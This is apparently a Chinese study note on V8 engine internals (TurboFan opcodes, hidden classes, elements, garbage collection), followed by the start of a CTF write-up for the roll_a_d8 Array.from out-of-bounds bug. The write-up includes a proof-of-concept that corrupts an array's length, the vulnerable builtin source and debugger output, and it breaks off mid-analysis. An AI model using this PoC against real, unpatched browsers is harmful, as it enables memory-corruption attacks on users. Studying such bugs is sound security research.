PoisoningMitigationLevel::kDontPoison; //set flags we want
if (FLAG_branch_load_poisoning) {
load_poisoning = PoisoningMitigationLevel::kPoisonAll;
} else if (FLAG_untrusted_code_mitigations) { //true default
load_poisoning = PoisoningMitigationLevel::kPoisonCriticalOnly;
}
// ...
}

addition opcodes

我们根据几个例子来看不同情况下底层使用的opcode。

补一下js的基础知识箭头函数

  • 箭头函数表达式的语法比函数表达式更简洁,并且没有自己的this,arguments,super或new.target。箭头函数表达式更适用于那些本来需要匿名函数的地方,并且它不能用作构造函数

下面的函数在经过多次调用后推断i为一个小整数,因此使用AddSmi这个ignition opcode(前面我们提到ignition解释器产生字节码)。IR图里的加使用SpeculativeSafeIntegerAdd

1
2
3
4
5
6
7
8
let opt_me = (x) => {
return x + 1;
}

for (var i = 0; i < 0x10000; ++i)
opt_me(i);
%DebugPrint(opt_me);
%SystemBreak();
1
2
3
4
Bytecode Age: 0                                                   
0x27f3082d2c52 @ 0 : 25 03 Ldar a0
0x27f3082d2c54 @ 2 : 41 01 00 AddSmi [1], [0]
0x27f3082d2c57 @ 5 : ab Return

在这个例子中x加和的对象为固定值1000000000000,它不能被小整数所表示,因此IR图为SpeculativeNumberAdd.

1
2
3
4
5
6
let opt_me = (x) => {
return x + 1000000000000;
}
opt_me(42);
%OptimizeFunctionOnNextCall(opt_me);
opt_me(4242)

在这个例子中y+100的值需要进行推断,这里使用SpeculativeSafeIntegerAdd,在simplified lowering阶段,TurboFan确定y+100是两个整数的和,因此底层的node为Int32Add

1
2
3
4
5
6
7
let opt_me= (x) => {
let y = x ? 10 : 20;
return y + 100;
}
opt_me(true);
%OptimizeFunctionOnNextCall(opt_me);
opt_me(false);

下面的例子中y是一个复杂的对象,这里只能使用性能较差的jsAdd。

1
2
3
4
5
6
7
8
9
10
11
let opt_me = (x) => {
let y = x ?
({valueOf() { return 10; }})
:
({[Symbol.toPrimitive]() { return 20; }});
return y + 1;
}

opt_me(true);
%OptimizeFunctionOnNextCall(opt_me);
opt_me(false);

在这个例子中y+1000000000000不能被Int表示出来,并且由于我们可以确定y是整数,在IR图中使用NumberAdd节点进行计算

1
2
3
4
5
6
7
8
let opt_me = (x) => {
let y = x ? 10 : 20;
return y + 1000000000000;
}

opt_me(true);
%OptimizeFunctionOnNextCall(opt_me);
opt_me(false);

TurboFan优化总结

优化的手段有:

  • Inline 内联函数调用
  • trimming 删除未到达的节点
  • type 类型推断
  • typed-lowering 根据类型将表达式和指令替换为更简单的处理
  • loop-peeling 取出循环内的处理
  • loop-exit-elimination 删除loop-exit
  • load-elimination 删除不必要的读取和检查
  • simplified-lowering 使用具体的值来简化指令
  • generic-lowering 将JS前缀指令转换为更简单的调用和stub调用
  • dead-code-emilination 删除不可达的代码

v8对象

参考a-tour-of-v8-object-representation,v8中一个典型的对象布局如下。

大多数的对象将他们的属性放到一块区域中,如这里的a和b。所有的block都有一个指向map的指针,这个map代表了对象的结构。非对象内部的其他属性通常存放在一个overflow array中,如这里的c和d。数字式的属性通常存放在其他的连续内存的数组中。

v8对象的定义非常灵活,一个对象基本上就是属性的集合,基本上是key-value的字典对,可以通过一下两种方式访问

1
2
obj.prop
obj["prop"]

根据标准,属性总是以字符串形式存在,因此如果使用一个不是string类型的属性,他会隐式地转换为字符串类型,正因为此,可以使用负数和小数对数组进行访问。

1
2
3
4
5
6
7
obj[1];
obj["1"]; //name for the same property
obj[1.0];

var o = {toString:funtion() {return -1.5;} };
obj[-1.5];
obj[o];

js中的Arrays又多了一项特殊的属性length.数组中大多数属性都是以非负整数命名。length返回数组中可以访问的最大索引+1,如:

1
2
3
var a = new Array();
a[100] = "test";
a.length; //101

除此之外数组和其他类型的对象都没有什么大的不同,函数也是对象,函数对象的length为函数形参的数量。

Dictionary mode

v8使用哈希表来表示复杂的对象,访问哈希表的速度要远慢于访问已知偏移的对象。

哈希表的工作原理:v8中有许多种不同的方式表示一个string,最常见的property的名字是一个ASCII的字符串,所有的字符连续排列。

strings时不可修改的,但是hash code这个field是可以修改的,因为它是被计算出来的值,用于访问属性的字符串被称为symbols,这些字符串都是独特的,因此如果一个non-symbol string要用于访问property,它要先进行独特化。

v8的哈希表包括key和value.最开始时,所有的keys和values都是undefined。当一个key-value被插入进来,key的hash值就会被计算出来,hash code的低位将会作为开始插入的索引,如果该索引已经有数据则插入到下一个索引(模n,n为表空间大小)。

由于symbol strings是独特的,这些strings的hash code至多计算一次,之后比较keys相等的操作通常都比较快,但是这些开销仍然很大,当对属性进行读写时的速度很慢,V8尽可能避免使用这种方法进行表示

1
2
3
4
0:map(string type)
4:length(in characters)
8:hash code(lazily computed)
12:characters

Fast,in-object properties

这部分涉及到了之前我们介绍的Hidden class概念,为了加速访问速度,让obj的内存布局在运行时也可以像静态语言一下规律排列,我们使用maps标识不同的对象,我们可以将maps理解成一个descriptors table,每个property都对应一个entry。Map还包含了其他的信息,比如obj的size,指向constructorprototypes的指针,但是我们主要关注descriptors。拥有相同结构的对象通常共享相同的map。Point的一个结构化的实例可能会共享如下所示的map。

1
2
3
4
function Point(x, y) {
this.x = x;
this.y = y;
}

我们可以想到并不是所有的Point的实例都有相同的属性集合,当一个Point对象刚分配的时候(在构造函数执行前),它没有任何属性M2并不能精确地描述它的结构。此外,我们可以在构造函数执行后随时添加一个新的属性到Point对象中。

v8使用transitions的方式处理这种情况,当增加一个新属性的时候,如果不是必须创建一个新的map我们是不希望这样做的,我们倾向于使用现有的map,transition descriptors指向这些其他的maps。

1
2
3
4
Map M2
object size: 20 (space for 2 properties)
"x": FIELD at offset 12
"y": FIELD at offset 16

因此可能存在如下的转变

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<Point object is allocated>

Map M0
"x": TRANSITION to M1 at offset 12

this.x = x;

Map M1
"x": FIELD at offset 12
"y": TRANSITION to M2 at offset 16

this.y = y;

Map M2
"x": FIELD at offset 12
"y": FIELD at offset 16

假如说对一个使用M2 map属性的对象添加新属性,但是该属性推迟赋值,则会出现下面这种情况。因为z属性从来没有被分配过,我们创建了M2的拷贝M3,增加了一个新的filed描述符,并且为原来的M2 map增加了一个TRANSITION描述符。增加一个transition是唯一一种修改map的方式,大多数时候map都是无法修改的。

如果赋值的顺序不同,或者赋值的顺序混乱,又或者删除了其中的属性,则v8只能将obj放到hash表中

1
2
3
4
5
6
7
8
9
10
11
Map M2
"x": FIELD at offset 12
"y": FIELD at offset 16
"z": TRANSITION at offset 20

this.z = z;

Map M3
"x": FIELD at offset 12
"y": FIELD at offset 16
"z": FIELD at offset 20

In-object slack tracking

v8使用In-object slack tracking来判断为一个对象的实例分配多少空间。最开始,constructor分配的对象被分配了一个巨大的空间:足够32个fast properties存储。一旦使用相同的构造器构造出一定数量的obj,v8通过遍历这些原始obj的map的transition tree。新的obj就可以精准地分配足够空间来存储properties(大于其数量的最大值)。也有一些有趣的trick来对原始obj进行resize。当原始obj第一次被分配时,它们的fileds将被初始,这样在gc看来它们就是空闲的空间。但是gc不会真的将他们看作空闲空间,因为maps标识了对象的大小。然而当slack tracking process
结束后,新的实例的size就会写入到transition tree的maps中,因此有这些maps的obj大小显著减小。因为unused filed已经看上去像是空闲space,最开始的obj不需要被修改。

在这个过程结束后再增加新的property,会使用overflow array来存储extra property,这里就会使用realloc来扩大空间。

= =本来这里已经写完了,但是因为笔记误删(vscode未成功保存导致文件为空)这部分又得重新写,因此比之前要写的简单一点

Methods and prototypes

v8存放methods时不能将其看成in-object的属性,否则开销太大,这里借鉴了c++的vtable的思想,关于vtable可以参见Understandig Virtual Tables in C++,v8在maps里使用constant_function表示方法,只有constant_function相同的maps才可以相互transition。

1
2
3
4
5
6
7
8
9
10
11
function Point(x, y) {
this.x = x;
this.y = y;
this.distance = PointDistance;
}

function PointDistance(p) {
var dx = this.x - p.x;
var dy = this.y - p.y;
return Math.sqrt(dx*dx + dy*dy);
}

如下图所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<Point object is allocated>

Map M0
"x": TRANSITION to M1 at offset 12

this.x = x;

Map M1
"x": FIELD at offset 12
"y": TRANSITION to M2 at offset 16

this.y = y;

Map M2
"x": FIELD at offset 12
"y": FIELD at offset 16
"distance": TRANSITION to M3 <PointDistance>

this.distance = PointDistance;

Map M3
"x": FIELD at offset 12
"y": FIELD at offset 16
"distance": CONSTANT_FUNCTION <PointDistance>

v8还提供了一种原型的方法让我们使用,prototype可以看作是一个root object,v8的obj认为其包含自身所有的属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function Point(x, y) {
this.x = x;
this.y = y;
}

Point.prototype.distance = function(p) {
var dx = this.x - p.x;
var dy = this.y - p.y;
return Math.sqrt(dx*dx + dy*dy);
}

...
var u = new Point(1, 2);
var v = new Point(3, 4);
var d = u.distance(v);

Numbered properties: fast elements

主要有三种类型fast small integers\fast doubles\fast values,当数据类型无法表示smi时会进行转换,当访问的Index和长度相差过多时会降级到dictionary mode

1
2
3
4
5
6
7
// This will be slow for large arrays.
function copy(a) {
var b = new Array();
for (var i = a.length - 1; i >= 0; i--)
b[i] = a[i];
return b;
}

对象模型

首先是一个继承关系的图

Object && Tagged Object

Smi

Smi是Unbox的整数,在32位系统下是带符号的31位;64位系统下是带符号的32位。

Smi直接存储在obj中,LSB=1时表示指针,否则为数字。

HeapObject

HeapNumber继承自HeapObject,对象的值为double。

String为字符串对象

JSObject里需要关注elements和property的区别

1
2
a.prop;   //property
a[1]; //elements

JSFunction需要关注kCodeEntryOffset*,如果是一个JIT优化过的函数,这里指向一个rwx的区域

JSArrry

JSArraryBuffer主要是ArrayBuffer和TypedArray。前者只是一个缓冲区,后者可以绑定一个缓冲区,以不同形式进行读取。

直接创建TypedArray(这里会自己创建一个ArrayBuffer)

1
2
var a = new Uint8Array(100);
var b = new Uint8Array([1, 2, 3,4]);

先创建ArrayBuffer在绑定TypedArray(同一个ArrayBuffer可以被多个TypedArray绑定),这也是exp编写里数据转换的方式。

1
2
3
var a = new ArrayBuffer(8);
var b = new Uint8Array(a);
var c = new Uint8Array(a, 0, 4); // 指定起始位置

GC

GC的管理可以分成两部分,young generation是针对运行时间不长,第一次gc的obj;old generation针对经过了多次gc的obj,内存回收的次数比较少;other里是针对large object的回收

GC使用cheney算法进行回收,将内存区域分成两部分,To-Space是使用的空间,From-Space是空闲的空间,obj会从前者转移到后者,living obj会拿回到to-space或者old generation(多次gc的),其余会被回收。

写内存分配相关的exp时,需要有意识地调用gc来使目标对象放在old generation里,这样布局相对稳定。

具体还可以参看a-tour-of-v8-garbage-collection

CTF题目

*CTF 2019 OOB

之前入门的调的题,OOB

数字经济云安全大赛 Browser

暑期实习面试前调的题目2019-数字经济大赛决赛-Browser

roll_a_d8

题目描述如下,我们去issue列表里搜索OOB,找到issue-821137,查看邮件中修复的部分,找到修复的commit,选择a的src查看包含漏洞的branch为1dab065bb4025bdd663ba12e2e976c34c3fa6599,这应该就是我们需要切换的漏洞版本了。

1
2
3
4
5
6
7
8
9
10
编译命令
git clone https://chromium.googlesource.com/v8/v8.git
git checkout (before Mar 7, 2018)
cd v8 & gclient sync
sudo apt install libncurses5
tools/dev/v8gen.py ia32.release
tools/dev/v8gen.py ia32.debug

ninja -C out.gn/ia32.release d8
ninja -C out.gn/ia32.debug d8

漏洞分析

我们找到目标函数(由于本地src是最新源码,因此我们还是看上面那个branch的函数),这个方法是class ArrayPopulatorAssembler : public CodeStubAssembler的方法,有篇文章csa-builtins介绍了如何自己编写一个builtin。我们简单概括一下编写思路。

首先v8可以通过不同的方式实现builtin:asm/c++/js/CodeStubAssembler。

CSA提供Low-level的asm的抽象,也提供了high-level的函数的扩展

1
2
3
4
5
6
7
8
9
10
// Low-level:
// Loads the pointer-sized data at addr into value.
Node* addr = /* ... */;
Node* value = Load(MachineType::IntPtr(), addr);

// And high-level:
// Performs the JS operation ToString(object).
// ToString semantics are specified at https://tc39.es/ecma262/#sec-tostring.
Node* object = /* ... */;
Node* string = ToString(context, object);

CSA的builtins在TurboFan的编译阶段使用得到最终的执行代码(优化阶段不使用)

写一个CSA builtin:我们编写一个Builtin,只接受一个参数,返回值是否为42.这个builtin将install到Math以暴露给js使用,在这个例子中我们的编写步骤如下:

  1. 使用js linkage创建一个CSA builtin,可以像js函数一样调用它
  2. 使用CSA实现简单的逻辑:对Smi和Heap-number处理,条件语句,调用TFS builtins
  3. 使用CSA builtin
  4. 安装到Math这个obj上

声明MathIs42:builtins在src/builtins/builtins-definitions.hBUILTIN_LIST_BASE宏进行声明,我们可以使用下面的代码声明CSA的builtin(带一个参数x)

1
2
#define BUILTIN_LIST_BASE(CPP, API, TFJ, TFC, TFS, TFH, ASM, DBG)              \
TFJ(MathIs42, 1, kx)

BUILTIN_LIST_BASE使用不同的宏表示不同的builtins.CSA的builtins主要可以分为下面的:

  1. TFJ:JS linkage
  2. TFS:Stub linkage
  3. TFC:要求一个用户接口描述符的Stub linkage
  4. TFH:用于Inline Caching的特殊的stub linkage

定义写在src/builtins/builtins-*-gen.cc文件中,因为我们是在Math obj里添加builtin,所以我们在src/builtins/builtins-math-gen.cc添加如下代码.注释很详细,context是一个全局变量作用域,相当于一个window object(类比我们浏览器中打开的一个窗口),它保存了js运行的环境,下面Label类似汇编中的标签,Branch表示分支判断,为真则去label1,否则跳转到label2,每个label使用BIND绑定一个代码块进行处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
// TF_BUILTIN is a convenience macro that creates a new subclass of the given
// assembler behind the scenes.
TF_BUILTIN(MathIs42, MathBuiltinsAssembler) {
// Load the current function context (an implicit argument for every stub)
// and the X argument. Note that we can refer to parameters by the names
// defined in the builtin declaration.
Node* const context = Parameter(Descriptor::kContext);
Node* const x = Parameter(Descriptor::kX);

// At this point, x can be basically anything - a Smi, a HeapNumber,
// undefined, or any other arbitrary JS object. Let’s call the ToNumber
// builtin to convert x to a number we can use.
// CallBuiltin can be used to conveniently call any CSA builtin.
Node* const number = CallBuiltin(Builtins::kToNumber, context, x);

// Create a CSA variable to store the resulting value. The type of the
// variable is kTagged since we will only be storing tagged pointers in it.
VARIABLE(var_result, MachineRepresentation::kTagged);

// We need to define a couple of labels which will be used as jump targets.
Label if_issmi(this), if_isheapnumber(this), out(this);

// ToNumber always returns a number. We need to distinguish between Smis
// and heap numbers - here, we check whether number is a Smi and conditionally
// jump to the corresponding labels.
Branch(TaggedIsSmi(number), &if_issmi, &if_isheapnumber);

// Binding a label begins generating code for it.
BIND(&if_issmi);
{
// SelectBooleanConstant returns the JS true/false values depending on
// whether the passed condition is true/false. The result is bound to our
// var_result variable, and we then unconditionally jump to the out label.
var_result.Bind(SelectBooleanConstant(SmiEqual(number, SmiConstant(42))));
Goto(&out);
}

BIND(&if_isheapnumber);
{
// ToNumber can only return either a Smi or a heap number. Just to make sure
// we add an assertion here that verifies number is actually a heap number.
CSA_ASSERT(this, IsHeapNumber(number));
// Heap numbers wrap a floating point value. We need to explicitly extract
// this value, perform a floating point comparison, and again bind
// var_result based on the outcome.
Node* const value = LoadHeapNumberValue(number);
Node* const is_42 = Float64Equal(value, Float64Constant(42));
var_result.Bind(SelectBooleanConstant(is_42));
Goto(&out);
}

BIND(&out);
{
Node* const result = var_result.value();
CSA_ASSERT(this, IsBoolean(result));
Return(result);
}
}

最后,我们在src/bootstrapper.cc中attach上这个方法(facktory用于生产新的对象)。之后我们使用Math.is42(42);调用该方法测试即可

1
2
3
4
5
// Existing code to set up Math, included here for clarity.
Handle<JSObject> math = factory->NewJSObject(cons, TENURED);
JSObject::AddProperty(global, name, math, DONT_ENUM);
// […snip…]
SimpleInstallFunction(math, "is42", Builtins::kMathIs42, 1, true);

关于isolate和context可以看下Design of V8 bindings

我们回来继续看这个方法.(ps:在这里可以看到可视化更好的diff)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
void GenerateSetLength(TNode<Context> context, TNode<Object> array,
TNode<Number> length) {
Label fast(this), runtime(this), done(this);
// Only set the length in this stub if
// 1) the array has fast elements,
// 2) the length is writable,
// 3) the new length is greater than or equal to the old length.
// 1) Check that the array has fast elements.
// TODO(delphick): Consider changing this since it does an an unnecessary
// check for SMIs.
// TODO(delphick): Also we could hoist this to after the array construction
// and copy the args into array in the same way as the Array constructor.
BranchIfFastJSArray(array, context, &fast, &runtime);
BIND(&fast);
{
TNode<JSArray> fast_array = CAST(array);
TNode<Smi> length_smi = CAST(length);
TNode<Smi> old_length = LoadFastJSArrayLength(fast_array);
CSA_ASSERT(this, TaggedIsPositiveSmi(old_length));
// 2) Ensure that the length is writable.
// TODO(delphick): This check may be redundant due to the
// BranchIfFastJSArray above.
EnsureArrayLengthWritable(LoadMap(fast_array), &runtime);
// 3) If the created array already has a length greater than required,
// then use the runtime to set the property as that will insert holes
// into the excess elements and/or shrink the backing store.
GotoIf(SmiLessThan(length_smi, old_length), &runtime);
StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
length_smi);
Goto(&done);
}
BIND(&runtime);
{
CallRuntime(Runtime::kSetProperty, context, static_cast<Node*>(array),
CodeStubAssembler::LengthStringConstant(), length,
SmiConstant(LanguageMode::kStrict));
Goto(&done);
}
BIND(&done);
}
};

我們checkout到漏洞版本后分析一下漏洞函數,全局搜索之後發現在ArrayFrom/ArrayOf有这个builtin的调用,poc中用的是from,因此我们看下from的builtin代码.同时看下js里Array.from()函数的用法

Array.from()方法允许我们从array-like objects(有length属性以及可以用索引访问的elements)和iterable objects(比如Map和Set)中生成数组。

函数的参数为(array-like,mapFn[optional],thisArg[optional]),最常见的调用方式如下.第一种就是从字符串中split出数组,第二中定义了mapFn,我们可以将其应用在array的每个元素上,在这里就是让每个元素加倍。Array.from(obj, mapFn, thisArg)等价于Array.from(obj).map(mapFn, thisArg)。

1
2
3
4
5
console.log(Array.from('foo'));
// expected output: Array ["f", "o", "o"]

console.log(Array.from([1, 2, 3], x => x + x));
// expected output: Array [2, 4, 6]

另一种from的对象为迭代对象,可以参考Iteration_protocolsIterators_and_Generators,我们构造一个迭代对象时使用[Symbol.iterator],比如下面的例子,我们定义range对象为迭代对象,编写自定义的迭代函数,value表示迭代器返回的值,done为true时表示迭代器迭代到了最后。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
let range = {
from: 1,
to: 5
};

// 1. call to for..of initially calls this
range[Symbol.iterator] = function() {

// ...it returns the iterator object:
// 2. Onward, for..of works only with this iterator, asking it for next values
return {
current: this.from,
last: this.to,

// 3. next() is called on each iteration by the for..of loop
next() {
// 4. it should return the value as an object {done:.., value :...}
if (this.current <= this.last) {
return { done: false, value: this.current++ };
} else {
return { done: true };
}
}
};
};

// now it works!
for (let num of range) {
alert(num); // 1, then 2, 3, 4, 5
}

poc如下,感觉上是在iter返回前先调用oobArray.length=0,之后调用GenerateSetLength设置oobArraylength属性=1024 * 1024 * 8,此时可以访问的范围超过了原elements的范围,造成越界。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
let oobArray = [];
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
counter : 0,
max : 1024 * 1024 * 8,
next() {
let result = this.counter++;
if (this.counter == this.max) {
oobArray.length = 0;
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
oobArray[oobArray.length - 1] = 0x41414141;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
// ES #sec-array.from
TF_BUILTIN(ArrayFrom, ArrayPopulatorAssembler) {
TNode<Context> context = CAST(Parameter(BuiltinDescriptor::kContext));
TNode<Int32T> argc =
UncheckedCast<Int32T>(Parameter(BuiltinDescriptor::kArgumentsCount));

CodeStubArguments args(this, ChangeInt32ToIntPtr(argc));

TNode<Object> map_function = args.GetOptionalArgumentValue(1);

// If map_function is not undefined, then ensure it's callable else throw.
{
Label no_error(this), error(this);
GotoIf(IsUndefined(map_function), &no_error);
GotoIf(TaggedIsSmi(map_function), &error);
Branch(IsCallable(map_function), &no_error, &error);

BIND(&error);
ThrowTypeError(context, MessageTemplate::kCalledNonCallable, map_function);

BIND(&no_error);
}

Label iterable(this), not_iterable(this), finished(this), if_exception(this);

TNode<Object> this_arg = args.GetOptionalArgumentValue(2);
TNode<Object> items = args.GetOptionalArgumentValue(0);
// The spec doesn't require ToObject to be called directly on the iterable
// branch, but it's part of GetMethod that is in the spec.
TNode<JSReceiver> array_like = ToObject(context, items);

TVARIABLE(Object, array);
TVARIABLE(Number, length);

// Determine whether items[Symbol.iterator] is defined:
IteratorBuiltinsAssembler iterator_assembler(state());
Node* iterator_method =
iterator_assembler.GetIteratorMethod(context, array_like);
Branch(IsNullOrUndefined(iterator_method), &not_iterable, &iterable);

//主要看这里对interable obj处理的部分
BIND(&iterable);
{
TVARIABLE(Number, index, SmiConstant(0));
TVARIABLE(Object, var_exception);
Label loop(this, &index), loop_done(this),
on_exception(this, Label::kDeferred),
index_overflow(this, Label::kDeferred);

// Check that the method is callable.
{
Label get_method_not_callable(this, Label::kDeferred), next(this);
//如果method是Smi(LSB=0,非指针),跳到get_method_not_callable这个label
GotoIf(TaggedIsSmi(iterator_method), &get_method_not_callable);
GotoIfNot(IsCallable(iterator_method), &get_method_not_callable);
Goto(&next);

BIND(&get_method_not_callable);
ThrowTypeError(context, MessageTemplate::kCalledNonCallable,
iterator_method);

BIND(&next);
}

// Construct the output array with empty length.
//输出的array开始的length=0
array = ConstructArrayLike(context, args.GetReceiver());

// Actually get the iterator and throw if the iterator method does not yield
// one.
IteratorRecord iterator_record =
iterator_assembler.GetIterator(context, items, iterator_method);

TNode<Context> native_context = LoadNativeContext(context);
TNode<Object> fast_iterator_result_map =
LoadContextElement(native_context, Context::ITERATOR_RESULT_MAP_INDEX);

Goto(&loop);

BIND(&loop);
{
// Loop while iterator is not done.
TNode<Object> next = CAST(iterator_assembler.IteratorStep(
context, iterator_record, &loop_done, fast_iterator_result_map));
TVARIABLE(Object, value,
CAST(iterator_assembler.IteratorValue(
context, next, fast_iterator_result_map)));

// If a map_function is supplied then call it (using this_arg as
// receiver), on the value returned from the iterator. Exceptions are
// caught so the iterator can be closed.
// 可以看到map_function并不是在Iter赋值完后再遍历调用的,而是每得到一个Iter就对其应用一次
{
Label next(this);
GotoIf(IsUndefined(map_function), &next);

CSA_ASSERT(this, IsCallable(map_function));
Node* v = CallJS(CodeFactory::Call(isolate()), context, map_function,
this_arg, value.value(), index.value());
GotoIfException(v, &on_exception, &var_exception);
value = CAST(v);
Goto(&next);
BIND(&next);
}

// Store the result in the output object (catching any exceptions so the
// iterator can be closed).
// 在这里调用Runtime的kCreateDataProperty为数组增加一个新的成员
Node* define_status =
CallRuntime(Runtime::kCreateDataProperty, context, array.value(),
index.value(), value.value());
GotoIfException(define_status, &on_exception, &var_exception);

index = NumberInc(index.value());
//检查索引值不超过2^53
// The spec requires that we throw an exception if index reaches 2^53-1,
// but an empty loop would take >100 days to do this many iterations. To
// actually run for that long would require an iterator that never set
// done to true and a target array which somehow never ran out of memory,
// e.g. a proxy that discarded the values. Ignoring this case just means
// we would repeatedly call CreateDataProperty with index = 2^53.
CSA_ASSERT_BRANCH(this, [&](Label* ok, Label* not_ok) {
BranchIfNumberRelationalComparison(Operation::kLessThan, index.value(),
NumberConstant(kMaxSafeInteger), ok,
not_ok);
});
Goto(&loop);
}

BIND(&loop_done);
{
length = index;
Goto(&finished);
}

BIND(&on_exception);
{
// Close the iterator, rethrowing either the passed exception or
// exceptions thrown during the close.
iterator_assembler.IteratorCloseOnException(context, iterator_record,
&var_exception);
}
}

// Since there's no iterator, items cannot be a Fast JS Array.
BIND(&not_iterable);
{
CSA_ASSERT(this, Word32BinaryNot(IsFastJSArray(array_like, context)));

// Treat array_like as an array and try to get its length.
length = ToLength_Inline(
context, GetProperty(context, array_like, factory()->length_string()));

// Construct an array using the receiver as constructor with the same length
// as the input array.
array = ConstructArrayLike(context, args.GetReceiver(), length.value());

TVARIABLE(Number, index, SmiConstant(0));

GotoIf(SmiEqual(length.value(), SmiConstant(0)), &finished);

// Loop from 0 to length-1.
{
Label loop(this, &index);
Goto(&loop);
BIND(&loop);
TVARIABLE(Object, value);

value = GetProperty(context, array_like, index.value());

// If a map_function is supplied then call it (using this_arg as
// receiver), on the value retrieved from the array.
{
Label next(this);
GotoIf(IsUndefined(map_function), &next);

CSA_ASSERT(this, IsCallable(map_function));
value = CAST(CallJS(CodeFactory::Call(isolate()), context, map_function,
this_arg, value.value(), index.value()));
Goto(&next);
BIND(&next);
}

// Store the result in the output object.
CallRuntime(Runtime::kCreateDataProperty, context, array.value(),
index.value(), value.value());
index = NumberInc(index.value());
BranchIfNumberRelationalComparison(Operation::kLessThan, index.value(),
length.value(), &loop, &finished);
}
}

BIND(&finished);

// Finally set the length on the output and return it.
//调用漏洞函数,设置array的property中的length
GenerateSetLength(context, array.value(), length.value());
args.PopAndReturn(array.value());
}

然而进行到这里有个问题,上面代码中Array.from操作的arr对象是通过array设置的临时变量而后用args.PopAndReturn(array.value())返回的浅拷贝。正常我们是拿一个定义的obj_arr来进行obj_arr.from,不过其中的function返回了oob_arr。到这里俺翻了下姚老板的博客抄作业。学长之前也有这样的困惑,之后他看了es6的代码实现,我们可以在Function.prototype.call()这里看到call method的用法,其第一个参数为this。体现到poc里就是我们的函数.通常我们可以使用prototype.call实现自己的构造函数,比如下面的代码,我们为Food和Toy赋予了新的属性。

继续看es6的代码,因为this是函数指针,因此最后会执行到a = new c(len);。当我们new后面跟function时,得到的是function的返回值,也就是oobArray。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function Product(name, price) {
this.name = name;
this.price = price;
}

function Food(name, price) {
Product.call(this, name, price);
this.category = 'food';
}

function Toy(name, price) {
Product.call(this, name, price);
this.category = 'toy';
}

const cheese = new Food('feta', 5);
const fun = new Toy('robot', 40);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
// 22.1.2.1 Array.from ( items [ , mapfn [ , thisArg ] ] )
define(
Array, 'from',
function from(items) {
var mapfn = arguments[1];
var thisArg = arguments[2];

var c = strict(this);
if (mapfn === undefined) {
var mapping = false;
} else {
if (!IsCallable(mapfn)) throw TypeError();
var t = thisArg;
mapping = true;
}
var usingIterator = GetMethod(items, $$iterator);
if (usingIterator !== undefined) {
if (IsConstructor(c)) {
var a = new c();
} else {
a = new Array(0);
}
var iterator = GetIterator(items, usingIterator);
var k = 0;
while (true) {
var next = IteratorStep(iterator);
if (next === false) {
a.length = k;
return a;
}
var nextValue = IteratorValue(next);
if (mapping)
var mappedValue = mapfn.call(t, nextValue);
else
mappedValue = nextValue;
a[k] = mappedValue;
k += 1;
}
}
var arrayLike = ToObject(items);
var lenValue = arrayLike.length;
var len = ToLength(lenValue);
if (IsConstructor(c)) { //here
a = new c(len);
} else {
a = new Array(len);
}
k = 0;
while (k < len) {
var kValue = arrayLike[k];
if (mapping)
mappedValue = mapfn.call(t, kValue, k);
else
mappedValue = kValue;
a[k] = mappedValue;
k += 1;
}
a.length = len;
return a;
});
环境搭建

目标bin是32位的,checkout过去之后很多依赖也要装32位的,我这里就用64位的binary做了

漏洞利用

搭完环境之后先测下PoC,成功在release的d8上产生了崩溃。我们将poc里的max减成2000加快运行速度,漏洞触发前后分别下断点调试。

触发漏洞之后length变为了1999而elements还是长度为0的FixedArray

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
//before
DebugPrint: 0xd92ff8d8b1: [JSArray]
- map: 0x9d2b9b02571 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x400cb585539 <JSArray[0]>
- elements: 0x239fe7482251 <FixedArray[0]> [PACKED_SMI_ELEMENTS]
- length: 0
- properties: 0x239fe7482251 <FixedArray[0]> {
#length: 0x239fe74cff89 <AccessorInfo> (const accessor descriptor)
}
0x9d2b9b02571: [Map]
- type: JS_ARRAY_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: PACKED_SMI_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x239fe74822e1 <undefined>
- prototype_validity cell: 0x239fe7482629 <Cell value= 1>
- instance descriptors (own) #1: 0x400cb5857e9 <DescriptorArray[5]>
- layout descriptor: (nil)
- transitions #1: 0x400cb5856a9 <TransitionArray[4]>Transition array #1:
